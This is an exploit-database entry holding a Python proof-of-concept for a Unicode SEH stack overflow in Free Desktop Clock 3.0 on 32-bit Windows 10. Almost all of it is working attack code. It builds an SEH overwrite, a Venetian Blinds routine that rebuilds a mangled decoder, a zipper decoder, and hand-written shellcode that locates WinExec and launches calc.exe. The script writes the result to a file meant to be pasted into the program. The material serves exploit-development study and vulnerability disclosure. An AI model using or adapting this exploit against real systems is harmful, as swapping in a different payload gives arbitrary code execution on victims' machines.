Free Desktop Clock x86 Venetian Blinds Zipper 3.0 – Unicode Stack Overflow (SEH)

  • 作者: boku
    日期: 2020-04-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48314/
  • # Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
    # Exploit Author: Bobby Cooke
    # Date: 2020-04-11
    # Vendor: Drive Software Company
    # Vendor Site: http://www.drive-software.com
    # Software Download: http://www.drive-software.com/download/freeclock.exe
    # Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
    # - Does not work on x64 version
    # Version: Free Desktop Clock 3.0
    # Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer
    
    ############################### CRASH INFO ###############################
    # [!] Access violation
    # 042D15E78908 mov [eax], ecx; FreeDesk.00440044
    # SEH chain of main thread
    # AddressSE handler
    # 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite
    # 00410041 74737953
    # 69620C00 *** CORRUPT ENTRY ***
    ############################### CRASH INFO ###############################
    
    File= 'poc.txt'
    
    ######################### EXPLOIT ENVIRONMENT INFO #########################
    #badChars= '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
    #badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
    #goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)
    
    # Base | Rebase | SafeSEH | ASLR| NXCompat | Modulename
    # 0x00400000 | False| False | False |False | [FreeDesktopClock.exe] 
    # 0x042b0000 | True | False | False |False | [Clock.dll] 
    ######################### EXPLOIT ENVIRONMENT INFO #########################
    
    os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
    nSEH= '\xeb\x05' # jmp short +2
    SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe] 
    # nSEH & SEH translated opcodes after Pop-Pop-Ret
    # EB 00 jmp short +2
    # 05 00EB0043 add eax, 4300EB00
    
    # GetPC to decode our decoder using Venetian Blinds technique
    getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory 
    getPC+= '\x61' # popad # [ESP] = &Payload
    getPC+= '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
    
    ebx2eax= '\x58'# pop eax # EAX = &Payload
    ebx2eax += '\x72'# add [edx], dh
    
    # Use Venetian Blinds technique to fix our mangled decoder
    # + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte. 
    # 
    # Ajust EAX to &Decoder
    getDecoder= '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
    getDecoder += '\x72' # add [edx], dh
    getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
    getDecoder += '\x72' # add [edx], dh
    getDecoder += '\x50' # push eax# [ESP] = &Decoder
    getDecoder += '\x72' # add [edx], dh
    
    ############################# ZIPPER DECODER ###############################
    # Set EAX = First non-null byte of shellcode
    # init:
    # 1 | 50|push eax # EAX = &Shellcode
    # 2 | 5F|pop edi# EDI = Decoder Destination Base Address
    # 3 | 47|inc edi# First 0x00 byte of shellcode
    # 4:5 | 33D2|xor edx, edx
    # 6:7 | 33C9|xor ecx, ecx
    # 8:11| 66:B9 1004|mov cx, 410# ECX = Loop Counter
    # decodeLoop:
    # 12:13 | 33DB|xor ebx, ebx
    # 14| 42|inc edx # EDX+EAX = &SourceShellcodeByte 
    # 15| 42|inc edx # increment to next non-null byte
    # 16:17 | 32DB|xor bl, bl# clear BL to hold next shellcode byte
    # 18:20 | 021C10|add bl, [eax+edx] # BL = SourceShellcodeByte
    # 21:22 | 203F|and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
    # 23:24 | 301F|xor [edi], bl # Write next byte of shellcode
    # 25| 47|inc edi
    # 26| 49|dec ecx
    # 27:28 | 74 02 |je short jmp2code
    # 29:30 | ^ EB ED |jmp short decodeLoop
    # jmp2code: 
    # 31| 50|push eax
    # 32| C3|ret
    ################################################3###########################
    
    #DecoderHex= '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
    firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
    #venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3' 
    # 2468 10 12 14 16 18 20 22 24 26 28 30 32 
    
    # Note: These nop unicode instructions are actually [reg+0x00] not [reg]
    # The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes 
    # Use the 3 byte version for Venetian Blinds alignment
    # Example:
    #nasm > add [edx], dh
    # 000000000032add [edx],dh
    # nasm > add [edx+00], dh
    # 000000000032add [edx],dh
    # nasm > add [edx+01], dh
    # 00000000007201add [edx+0x1],dh
    # + This happens when typing in ASM commands into msf-nasm_shell and immunity
    
    ## 2nd byte - \x00 => \x5F
    venBlinds = '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\xC6\x5F' # mov byte [eax], 0x50
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 4th byte - \x00 => \x33
    venBlinds+= '\xC6\x33' # mov byte [eax], 0x33
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 6th byte - \x00 => \x33
    venBlinds+= '\xC6\x33' # mov byte [eax], 0x33
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 8th byte - \x00 => \x66
    venBlinds+= '\xC6\x66' # mov byte [eax], 0x66
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 10th byte - \x00 => \x10
    venBlinds+= '\xC6\x10' # mov byte [eax], 0x10
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 12th byte - \x00 => \x33
    venBlinds+= '\xC6\x33' # mov byte [eax], 0x33
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 14th byte - \x00 => \x42
    venBlinds+= '\xC6\x42' # mov byte [eax], 0x42
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 16th byte - \x00 => \x32
    venBlinds+= '\xC6\x32' # mov byte [eax], 0x32
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 18th byte - \x00 => \x02
    venBlinds+= '\xC6\x02' # mov byte [eax], 0x02
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 20th byte - \x00 => \x10
    venBlinds+= '\xC6\x10' # mov byte [eax], 0x10
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 22nd byte - \x00 => \x3F
    venBlinds+= '\xC6\x3F' # mov byte [eax], 0x3F
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 24nd byte - \x00 => \x1F
    venBlinds+= '\xC6\x1F' # mov byte [eax], 0x1F
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 26th byte - \x00 => \x49
    venBlinds+= '\xC6\x49' # mov byte [eax], 0x49
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 28th byte - \x00 => \x02
    venBlinds+= '\xC6\x02' # mov byte [eax], 0x02
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 30th byte - \x00 => \xED
    venBlinds+= '\xC6\xED' # mov byte [eax], 0xED
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    venBlinds+= '\x40' # inc eax // now eax points to the next '\x00'
    venBlinds+= '\x72' # add [edx], dh // nop to realign opcode execution
    ## 32nd byte - \x00 => \xC3
    venBlinds+= '\xC6\xC3' # mov byte [eax], 0xC3
    venBlinds+= '\x72' # add [edx], dh
    venBlinds+= '\x40' # inc eax// now eax points shellcode byte
    venBlinds+= '\x72' # add [edx], dh
    # Jump to the decoded decoder by Returning to the address we saved on the stack
    venBlinds+= '\xC3' # ret[!] Now we are executing the decoder!
    
    os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
    
    #badChars= 00 0d 80 82->8e 91->9f
    # Custom PopCalc shellcode that avoids the bad characters
    fKernel32= '\x33\xF6' # xor esi, esi
    fKernel32 += '\xF7\xE6' # mul esi
    fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB
    fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR
    fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C]# ESI =1st entry in InitOrderModuleList / ntdll.dll
    fKernel32 += '\xAD' # lodsd# EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
    fKernel32 += '\x50' # push eax
    fKernel32 += '\x5E' # pop esi
    fKernel32 += '\xAD' # lodsd# EAX = 3rd entry in InitOrderModuleList / kernel32.dll
    fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32
    
    gExpotTbl= '\x33\xC9' # xor ecx, ecx
    gExpotTbl += '\x33\xF6' # xor esi, esi
    gExpotTbl += '\x33\xDB' # xor ebx, ebx
    gExpotTbl += '\xF7\xE3' # mul ebx
    gExpotTbl += '\x58' # pop eax#EAX= &kernel32
    gExpotTbl += '\x50' # push eax # [ESP] = &kernel32
    gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
    gExpotTbl += '\x03\xF0' # add esi, eax; ESI = &NewEXEHeader
    gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable
    gExpotTbl += '\x03\xD0' # add edx, eax; EDX = &ExportTable = 763477B0
    
    gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
    gExpotTbl += '\x03\xD8' # add ebx, eax; EBX = &ExportNameTable
    
    gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
    gExpotTbl += '\x03\xC8' # add ecx, eax; ECX = &ExportOrdinalTable
    gExpotTbl += '\x51' # push ecx
    
    gExpotTbl += '\x33\xFF' # xor edi, edi
    gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
    gExpotTbl += '\x03\xF8' # add edi, eax; EDI = &ExportAddrTable
    gExpotTbl += '\x57' # push edi
    
    fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
    fWinExec+= '\x33\xC0' # xor eax, eax; EAX = Counter
    
    fWinExec+= '\x33\xF6' # xor esi, esi
    fWinExec+= '\x03\xF4' # add esi, esp; ESI = "WinE"
    fWinExec+= '\xFC' # cld ; Process strings left to right
    fWinExec+= '\x50' # push eax
    fWinExec+= '\x33\xC9' # xor ecx, ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\xF7\xE1' # mul ecx
    fWinExec+= '\x33\xFF' # xor edi, edi
    fWinExec+= '\x03\x3C\x18' # add edi, [eax+ebx] 
    fWinExec+= '\x58' # pop eax
    fWinExec+= '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString
    fWinExec+= '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"
    fWinExec+= '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop
    fWinExec+= '\x40' # inc eax; Counter ++
    fWinExec+= '\xEB\xE1' # jmp short searchLoop ; restart loop
    
    fWinExec+= '\x33\xC9' # xor ecx, ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\x41' # inc ecx
    fWinExec+= '\xF7\xE1' # mul ecx
    fWinExec+= '\x33\xC9' # xor ecx, ecx
    fWinExec+= '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
    fWinExec+= '\x03\xC8' # add ecx, eax
    fWinExec+= '\x33\xC0' # xor eax, eax
    fWinExec+= '\x66\x03\x01' # add ax, [ecx];AX = ordinalNumber
    
    fWinExec+= '\x33\xC9' # xor ecx, ecx
    fWinExec+= '\x41\x41\x41\x41' # inc ecx X 4
    fWinExec+= '\xF7\xE1' # mul ecx
    fWinExec+= '\xFF\x74\x24\x04' # push dword [esp+0x4]
    fWinExec+= '\x01\x04\x24' # add [esp], eax
    fWinExec+= '\x5A' # pop edx
    fWinExec+= '\x33\xDB' # xor ebx, ebx
    fWinExec+= '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec
    fWinExec+= '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec
    # Call WinExec( CmdLine, ShowState );
    # CmdLine = "calc.exe"
    # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
    callWinExec= '\x33\xC9' # xor ecx, ecx; clear eax register
    callWinExec += '\x51' # push ecx; string terminator 0x00 for "calc.exe" string
    callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
    callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
    callWinExec += '\x33\xC0' # xor eax, eax
    callWinExec += '\x03\xC4' # add eax, esp; save pointer to "calc.exe" string in eax
    callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
    callWinExec += '\x51' # push ecx; uCmdShow- push 0x1 to stack # 2nd argument
    callWinExec += '\x50' # push eax; lpcmdLine - push string address stack # 1st argument
    callWinExec += '\xFF\xD3' # call ebx; Call the WinExec Function
    
    shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
    
    buffer= os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
    filler= '\x77'*(9000-len(buffer))
    buffer= buffer+filler
    
    try:
    payload = buffer
    f = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
    except:
    print File + ' failed to create'